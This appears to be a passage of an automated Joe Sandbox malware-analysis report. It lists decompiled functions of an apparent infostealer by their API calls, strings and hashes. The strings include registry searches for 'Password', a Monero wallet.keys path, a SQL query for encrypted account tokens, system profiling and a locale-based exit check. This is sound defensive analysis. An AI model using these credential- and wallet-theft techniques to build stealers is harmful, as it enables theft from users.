Instruction ID: cdc48a6f818ad97ac98349a66d55bb3bd54c7a6a1d4e2f2448c1aa7f9571c05a
Opcode Fuzzy Hash: 42326dc2b0b28400169b6cfb0e85ab546093b9df450a38d799bf063f7799e2fb
Instruction Fuzzy Hash: FA5121B195011857CB19EB64DC96FED733CFB54704F4041ACB60AE6181EE70AB8ACAA7

Function 008B75D0 Relevance: 15.8, APIs: 8, Strings: 1, Instructions: 91stringCOMMON

Download Yara Rule

APIs

Part of subcall function 008B72D0: RegOpenKeyExA.ADVAPI32(80000001,?,00000000,00020019,?), ref: 008B733A
Part of subcall function 008B72D0: RegEnumValueA.ADVAPI32(?,00000000,00000000,000000FF,00000000,00000003,?,?), ref: 008B73B1
Part of subcall function 008B72D0: StrStrA.SHLWAPI(00000000,Password,00000000), ref: 008B740D
Part of subcall function 008B72D0: GetProcessHeap.KERNEL32(00000000,?), ref: 008B7452
Part of subcall function 008B72D0: HeapFree.KERNEL32(00000000), ref: 008B7459

lstrcat.KERNEL32(00000000,008D17FC), ref: 008B7606
lstrcat.KERNEL32(00000000,00000000), ref: 008B7648
lstrcat.KERNEL32(00000000, : ), ref: 008B765A
lstrcat.KERNEL32(00000000,00000000), ref: 008B768F
lstrcat.KERNEL32(00000000,008D1804), ref: 008B76A0
lstrcat.KERNEL32(00000000,00000000), ref: 008B76D3
lstrcat.KERNEL32(00000000,008D1808), ref: 008B76ED
task.LIBCPMTD ref: 008B76FB

Strings

: , xrefs: 008B764E

Memory Dump Source

Source File: 00000000.00000002.1528585509.00000000008B1000.00000040.00000001.01000000.00000003.sdmp, Offset: 008B0000, based on PE: true

Associated: 00000000.00000002.1528571629.00000000008B0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1528585509.0000000000961000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1528585509.000000000096D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1528585509.0000000000992000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1528585509.0000000000AFA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1528709467.0000000000B0E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1528709467.0000000000C8B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1528709467.0000000000D67000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1528709467.0000000000D8C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1528709467.0000000000D96000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1528709467.0000000000DA3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1528918343.0000000000DA4000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1529017756.0000000000F3A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1529030782.0000000000F3B000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_8b0000_file.jbxd

Yara matches

Similarity

API ID: lstrcat$Heap$EnumFreeOpenProcessValuetask
String ID: :
API String ID: 2677904052-3653984579
Opcode ID: a65f1f84a72e6c2874d7364abc8ba61025f263bc6755ad91e9fa60fe0f3e791e
Instruction ID: de743cf3ff20f6de020c3c780b6daf1c5ee4c53f4c6189951ad64f6d45c63570
Opcode Fuzzy Hash: a65f1f84a72e6c2874d7364abc8ba61025f263bc6755ad91e9fa60fe0f3e791e
Instruction Fuzzy Hash: 123118B1901209EBCB48EBE8DC99DFE7778FB64341B144118E106EB391DA74A947CB92

Function 008C8100 Relevance: 14.1, APIs: 6, Strings: 2, Instructions: 67memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,?,00000000,00000000,?,007BDC08,00000000,?,008D0E2C,00000000,?,00000000), ref: 008C8130
RtlAllocateHeap.NTDLL(00000000), ref: 008C8137
GlobalMemoryStatusEx.KERNEL32(00000040,00000040,00000000), ref: 008C8158
__aulldiv.LIBCMT ref: 008C8172
__aulldiv.LIBCMT ref: 008C8180
wsprintfA.USER32 ref: 008C81AC

Strings

@, xrefs: 008C814D
%d MB, xrefs: 008C81A3

Memory Dump Source

Source File: 00000000.00000002.1528585509.00000000008B1000.00000040.00000001.01000000.00000003.sdmp, Offset: 008B0000, based on PE: true

Associated: 00000000.00000002.1528571629.00000000008B0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1528585509.0000000000961000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1528585509.000000000096D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1528585509.0000000000992000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1528585509.0000000000AFA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1528709467.0000000000B0E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1528709467.0000000000C8B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1528709467.0000000000D67000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1528709467.0000000000D8C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1528709467.0000000000D96000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1528709467.0000000000DA3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1528918343.0000000000DA4000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1529017756.0000000000F3A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1529030782.0000000000F3B000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_8b0000_file.jbxd

Yara matches

Similarity

API ID: Heap__aulldiv$AllocateGlobalMemoryProcessStatuswsprintf
String ID: %d MB$@
API String ID: 2774356765-3474575989
Opcode ID: bd3488b34dbd326b6e7cf28c4ee3f95614964c7b7f287caa60aa849a42e78d7d
Instruction ID: d05220539e62380064d1cf51dbfb5f3a747c2ab24839e9a13841823c00f07788
Opcode Fuzzy Hash: bd3488b34dbd326b6e7cf28c4ee3f95614964c7b7f287caa60aa849a42e78d7d
Instruction Fuzzy Hash: 762108B1E44218ABDB00DFD5DC49FAEB7B8FB44B14F104619F615BB280D7B8A9018BA5

Function 008B72D0 Relevance: 12.4, APIs: 6, Strings: 1, Instructions: 149registrymemoryCOMMON

Download Yara Rule

APIs

RegOpenKeyExA.ADVAPI32(80000001,?,00000000,00020019,?), ref: 008B733A
RegEnumValueA.ADVAPI32(?,00000000,00000000,000000FF,00000000,00000003,?,?), ref: 008B73B1
StrStrA.SHLWAPI(00000000,Password,00000000), ref: 008B740D
GetProcessHeap.KERNEL32(00000000,?), ref: 008B7452
HeapFree.KERNEL32(00000000), ref: 008B7459
task.LIBCPMTD ref: 008B7555

Strings

Password, xrefs: 008B7401

Memory Dump Source

Source File: 00000000.00000002.1528585509.00000000008B1000.00000040.00000001.01000000.00000003.sdmp, Offset: 008B0000, based on PE: true

Associated: 00000000.00000002.1528571629.00000000008B0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1528585509.0000000000961000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1528585509.000000000096D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1528585509.0000000000992000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1528585509.0000000000AFA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1528709467.0000000000B0E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1528709467.0000000000C8B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1528709467.0000000000D67000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1528709467.0000000000D8C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1528709467.0000000000D96000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1528709467.0000000000DA3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1528918343.0000000000DA4000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1529017756.0000000000F3A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1529030782.0000000000F3B000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_8b0000_file.jbxd

Yara matches

Similarity

API ID: Heap$EnumFreeOpenProcessValuetask
String ID: Password
API String ID: 775622407-3434357891
Opcode ID: b88a4b844b1a9b6436157c3028ef2c18608eb4243d193111e28fcd6fb5a8bf72
Instruction ID: 904518035c25f6bb272095e263b09b11a319dc6a7dace01ac952eaaee63911cc
Opcode Fuzzy Hash: b88a4b844b1a9b6436157c3028ef2c18608eb4243d193111e28fcd6fb5a8bf72
Instruction Fuzzy Hash: 57611CB590425C9BDB24DB54CC45BD9B7BCFF48344F0081E9E689A6241DB706BC9CFA1

Function 008BBA80 Relevance: 12.3, APIs: 4, Strings: 4, Instructions: 284stringCOMMON

Download Yara Rule

APIs

Part of subcall function 008CA740: lstrcpy.KERNEL32(008D0E17,00000000), ref: 008CA788

Part of subcall function 008CA9B0: lstrlen.KERNEL32(?,007B88C8,?,\Monero\wallet.keys,008D0E17), ref: 008CA9C5
Part of subcall function 008CA9B0: lstrcpy.KERNEL32(00000000), ref: 008CAA04
Part of subcall function 008CA9B0: lstrcat.KERNEL32(00000000,00000000), ref: 008CAA12

Part of subcall function 008CA920: lstrcpy.KERNEL32(00000000,?), ref: 008CA972
Part of subcall function 008CA920: lstrcat.KERNEL32(00000000), ref: 008CA982

Part of subcall function 008CA8A0: lstrcpy.KERNEL32(?,008D0E17), ref: 008CA905

Part of subcall function 008CA7A0: lstrcpy.KERNEL32(?,00000000), ref: 008CA7E6

lstrlen.KERNEL32(00000000), ref: 008BBC9F

Part of subcall function 008C8E30: LocalAlloc.KERNEL32(00000040,-00000001), ref: 008C8E52

StrStrA.SHLWAPI(00000000,AccountId), ref: 008BBCCD
lstrlen.KERNEL32(00000000), ref: 008BBDA5
lstrlen.KERNEL32(00000000), ref: 008BBDB9

Strings

SELECT service, encrypted_token FROM token_service, xrefs: 008BBBEB
AccountTokens, xrefs: 008BBABA
AccountTokens, xrefs: 008BBB49
AccountId, xrefs: 008BBCC4

Memory Dump Source

Source File: 00000000.00000002.1528585509.00000000008B1000.00000040.00000001.01000000.00000003.sdmp, Offset: 008B0000, based on PE: true

Associated: 00000000.00000002.1528571629.00000000008B0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1528585509.0000000000961000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1528585509.000000000096D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1528585509.0000000000992000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1528585509.0000000000AFA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1528709467.0000000000B0E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1528709467.0000000000C8B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1528709467.0000000000D67000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1528709467.0000000000D8C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1528709467.0000000000D96000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1528709467.0000000000DA3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1528918343.0000000000DA4000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1529017756.0000000000F3A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1529030782.0000000000F3B000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_8b0000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$lstrlen$lstrcat$AllocLocal
String ID: AccountId$AccountTokens$AccountTokens$SELECT service, encrypted_token FROM token_service
API String ID: 3073930149-1079375795
Opcode ID: 84bce80544001ec1fe892fc3ab56b80227583cc61916510f834c1fad944b51d8
Instruction ID: 627f41f51ca3d259cfafe8ad120ca57beacabc09caf1c2fc9a408ea90a1fc747
Opcode Fuzzy Hash: 84bce80544001ec1fe892fc3ab56b80227583cc61916510f834c1fad944b51d8
Instruction Fuzzy Hash: 0FB1FB71910108ABDB18EBA8DD96EEE7738FF54304F40416DF506E6191EF34AA49CBA3

Function 008C6770 Relevance: 12.3, APIs: 6, Strings: 1, Instructions: 27COMMON

Download Yara Rule

APIs

GetUserDefaultLangID.KERNEL32 ref: 008C6774
ExitProcess.KERNEL32 ref: 008C67A5
ExitProcess.KERNEL32 ref: 008C67AF
ExitProcess.KERNEL32 ref: 008C67B9
ExitProcess.KERNEL32 ref: 008C67C3
ExitProcess.KERNEL32 ref: 008C67CD

Strings

*, xrefs: 008C678C

Memory Dump Source

Source File: 00000000.00000002.1528585509.00000000008B1000.00000040.00000001.01000000.00000003.sdmp, Offset: 008B0000, based on PE: true

Associated: 00000000.00000002.1528571629.00000000008B0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1528585509.0000000000961000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1528585509.000000000096D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1528585509.0000000000992000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1528585509.0000000000AFA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1528709467.0000000000B0E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1528709467.0000000000C8B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1528709467.0000000000D67000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1528709467.0000000000D8C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1528709467.0000000000D96000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1528709467.0000000000DA3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1528918343.0000000000DA4000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1529017756.0000000000F3A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1529030782.0000000000F3B000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_8b0000_file.jbxd

Yara matches

Similarity

API ID: ExitProcess$DefaultLangUser
String ID: *
API String ID: 1494266314-163128923
Opcode ID: 4906a8301fd0e2e5cdf2a0713434f1c1fe9583f600b1a15e012c793d15be417b
Instruction ID: 7d4b7a50bd5fb1e1119b1fa1e1f59297c5975465a08d5969cad2e2994cf18e76
Opcode Fuzzy Hash: 4906a8301fd0e2e5cdf2a0713434f1c1fe9583f600b1a15e012c793d15be417b
Instruction Fuzzy Hash: 93F03AB1904209EFD344EFE0A909FBC7B70FB15702F0402A8E609C6290EA705A52DBD6

Function 008C40B0 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 124registrystringCOMMON

Download Yara Rule

APIs

RegOpenKeyExA.ADVAPI32(80000001,007BD240,00000000,00020119,?), ref: 008C40F4
RegQueryValueExA.ADVAPI32(?,007BDE78,00000000,00000000,00000000,000000FF), ref: 008C4118
RegCloseKey.ADVAPI32(?), ref: 008C4122
lstrcat.KERNEL32(?,00000000), ref: 008C4147
lstrcat.KERNEL32(?,007BDEC0), ref: 008C415B

Strings

P{, xrefs: 008C4161

Memory Dump Source

Source File: 00000000.00000002.1528585509.00000000008B1000.00000040.00000001.01000000.00000003.sdmp, Offset: 008B0000, based on PE: true

Associated: 00000000.00000002.1528571629.00000000008B0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1528585509.0000000000961000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1528585509.000000000096D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1528585509.0000000000992000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1528585509.0000000000AFA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1528709467.0000000000B0E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1528709467.0000000000C8B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1528709467.0000000000D67000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1528709467.0000000000D8C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1528709467.0000000000D96000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1528709467.0000000000DA3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1528918343.0000000000DA4000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1529017756.0000000000F3A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1529030782.0000000000F3B000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_8b0000_file.jbxd

Yara matches

Similarity

API ID: lstrcat$CloseOpenQueryValue
String ID: P{
API String ID: 690832082-680765652
Opcode ID: e4bd32d7475958d50dfd70749423c1ec46f33cdf3e6505ad2d884886b27a6f2c
Instruction ID: 1d60bead56c8aa5aabd64a6ac747d38e13df8cbfd1c7d82aefb6c237fa37ac93
Opcode Fuzzy Hash: e4bd32d7475958d50dfd70749423c1ec46f33cdf3e6505ad2d884886b27a6f2c
Instruction Fuzzy Hash: 3D41C8B69001086BDB24EBE0DC56FFD373CF758300F40854CB61996181EA719B89CBA3

Function 008B4FB0 Relevance: 10.6, APIs: 7, Instructions: 83networkmemoryfileCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,05F5E0FF), ref: 008B4FCA
RtlAllocateHeap.NTDLL(00000000), ref: 008B4FD1
InternetOpenA.WININET(008D0DDF,00000000,00000000,00000000,00000000), ref: 008B4FEA
InternetOpenUrlA.WININET(?,00000000,00000000,00000000,04000100,00000000), ref: 008B5011
InternetReadFile.WININET(?,?,00000400,00000000), ref: 008B5041
InternetCloseHandle.WININET(?), ref: 008B50B9
InternetCloseHandle.WININET(?), ref: 008B50C6

Memory Dump Source

Source File: 00000000.00000002.1528585509.00000000008B1000.00000040.00000001.01000000.00000003.sdmp, Offset: 008B0000, based on PE: true

Associated: 00000000.00000002.1528571629.00000000008B0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1528585509.0000000000961000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1528585509.000000000096D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1528585509.0000000000992000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1528585509.0000000000AFA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1528709467.0000000000B0E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1528709467.0000000000C8B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1528709467.0000000000D67000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1528709467.0000000000D8C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1528709467.0000000000D96000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1528709467.0000000000DA3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1528918343.0000000000DA4000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1529017756.0000000000F3A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1529030782.0000000000F3B000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_8b0000_file.jbxd

Yara matches

Similarity

API ID: Internet$CloseHandleHeapOpen$AllocateFileProcessRead
String ID:
API String ID: 3066467675-0
Opcode ID: 12e06e79a02ec0059341a183f111cbf89fd07d846a2fba0711cd171ffeef7cc7
Instruction ID: c01b3bcf289352777c429bc2f3a5b90ab0006382eb2c6345dc7aff9e88c5ed31
Opcode Fuzzy Hash: 12e06e79a02ec0059341a183f111cbf89fd07d846a2fba0711cd171ffeef7cc7
Instruction Fuzzy Hash: 5131E7F4A0021CABDB20DF94DC85BDDB7B4FB48704F1081D9E609A7281D7706E868F99

Function 008C83DC Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 64registrystringCOMMON

Download Yara Rule

APIs

RegEnumKeyExA.ADVAPI32(00000000,00000000,?,00000400,00000000,00000000,00000000,00000000), ref: 008C8426
wsprintfA.USER32 ref: 008C8459
RegOpenKeyExA.ADVAPI32(00000000,?,00000000,00020019,00000000), ref: 008C847B
RegCloseKey.ADVAPI32(00000000), ref: 008C848C
RegCloseKey.ADVAPI32(00000000), ref: 008C8499

Part of subcall function 008CA7A0: lstrcpy.KERNEL32(?,00000000), ref: 008CA7E6

RegQueryValueExA.ADVAPI32(00000000,007BDCC8,00000000,000F003F,?,00000400), ref: 008C84EC
lstrlen.KERNEL32(?), ref: 008C8501
RegQueryValueExA.ADVAPI32(00000000,007BDD10,00000000,000F003F,?,00000400,00000000,?,?,00000000,?,008D0B34), ref: 008C8599
RegCloseKey.ADVAPI32(00000000), ref: 008C8608
RegCloseKey.ADVAPI32(00000000), ref: 008C861A

Strings

%s\%s, xrefs: 008C844D

Memory Dump Source

Source File: 00000000.00000002.1528585509.00000000008B1000.00000040.00000001.01000000.00000003.sdmp, Offset: 008B0000, based on PE: true

Associated: 00000000.00000002.1528571629.00000000008B0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1528585509.0000000000961000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1528585509.000000000096D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1528585509.0000000000992000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1528585509.0000000000AFA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1528709467.0000000000B0E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1528709467.0000000000C8B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1528709467.0000000000D67000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1528709467.0000000000D8C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1528709467.0000000000D96000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1528709467.0000000000DA3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1528918343.0000000000DA4000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1529017756.0000000000F3A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1529030782.0000000000F3B000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_8b0000_file.jbxd

Yara matches

Similarity

API ID: Close$QueryValue$EnumOpenlstrcpylstrlenwsprintf
String ID: %s\%s
API String ID: 3896182533-4073750446
Opcode ID: 826cd0760dafd0c0a02eec0e58d2d4b2baca6b4b515d19873c1b056e24c4a1d0
Instruction ID: e34dc81abfb5505ac966a4df69987f5323bd167ae220acd66040bdd734fb44a5
Opcode Fuzzy Hash: 826cd0760dafd0c0a02eec0e58d2d4b2baca6b4b515d19873c1b056e24c4a1d0
Instruction Fuzzy Hash: 4E2119B194021CABDB24DB94DC85FE9B3B8FB58704F00C5D9E609A6140DF71AA86CFD4

Function 008C7690 Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 43registrymemoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104), ref: 008C76A4
RtlAllocateHeap.NTDLL(00000000), ref: 008C76AB
RegOpenKeyExA.ADVAPI32(80000002,007ABB58,00000000,00020119,00000000), ref: 008C76DD
RegQueryValueExA.ADVAPI32(00000000,007BDB48,00000000,00000000,?,000000FF), ref: 008C76FE
RegCloseKey.ADVAPI32(00000000), ref: 008C7708

Strings

Windows 11, xrefs: 008C76BD

Memory Dump Source

Source File: 00000000.00000002.1528585509.00000000008B1000.00000040.00000001.01000000.00000003.sdmp, Offset: 008B0000, based on PE: true

Associated: 00000000.00000002.1528571629.00000000008B0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1528585509.0000000000961000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1528585509.000000000096D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1528585509.0000000000992000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1528585509.0000000000AFA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1528709467.0000000000B0E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1528709467.0000000000C8B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1528709467.0000000000D67000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1528709467.0000000000D8C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1528709467.0000000000D96000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1528709467.0000000000DA3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1528918343.0000000000DA4000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1529017756.0000000000F3A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1529030782.0000000000F3B000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_8b0000_file.jbxd

Yara matches

Similarity

API ID: Heap$AllocateCloseOpenProcessQueryValue
String ID: Windows 11
API String ID: 3225020163-2517555085
Opcode ID: 9840f0dd58abba4b8ca8cf159f7017e18068289aac45b4b39ac0ffe70030e47a
Instruction ID: bb63c7ef8842d63651bc1e810cb2ac29a3827a03a401eae917e9b00820af6e36
Opcode Fuzzy Hash: 9840f0dd58abba4b8ca8cf159f7017e18068289aac45b4b39ac0ffe70030e47a
Instruction Fuzzy Hash: BF014FF5A04208BFD700DBE4DC49FB9B7B8EB58701F108158FA09D7290D6B0A905CF91

Function 008C7720 Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 42registrymemoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104), ref: 008C7734
RtlAllocateHeap.NTDLL(00000000), ref: 008C773B
RegOpenKeyExA.ADVAPI32(80000002,007ABB58,00000000,00020119,008C76B9), ref: 008C775B
RegQueryValueExA.ADVAPI32(008C76B9,CurrentBuildNumber,00000000,00000000,?,000000FF), ref: 008C777A
RegCloseKey.ADVAPI32(008C76B9), ref: 008C7784

Strings

CurrentBuildNumber, xrefs: 008C7771

Memory Dump Source

Source File: 00000000.00000002.1528585509.00000000008B1000.00000040.00000001.01000000.00000003.sdmp, Offset: 008B0000, based on PE: true

Associated: 00000000.00000002.1528571629.00000000008B0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1528585509.0000000000961000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1528585509.000000000096D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1528585509.0000000000992000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1528585509.0000000000AFA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1528709467.0000000000B0E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1528709467.0000000000C8B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1528709467.0000000000D67000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1528709467.0000000000D8C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1528709467.0000000000D96000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1528709467.0000000000DA3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1528918343.0000000000DA4000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1529017756.0000000000F3A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1529030782.0000000000F3B000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_8b0000_file.jbxd

Yara matches

Similarity

API ID: Heap$AllocateCloseOpenProcessQueryValue
String ID: CurrentBuildNumber
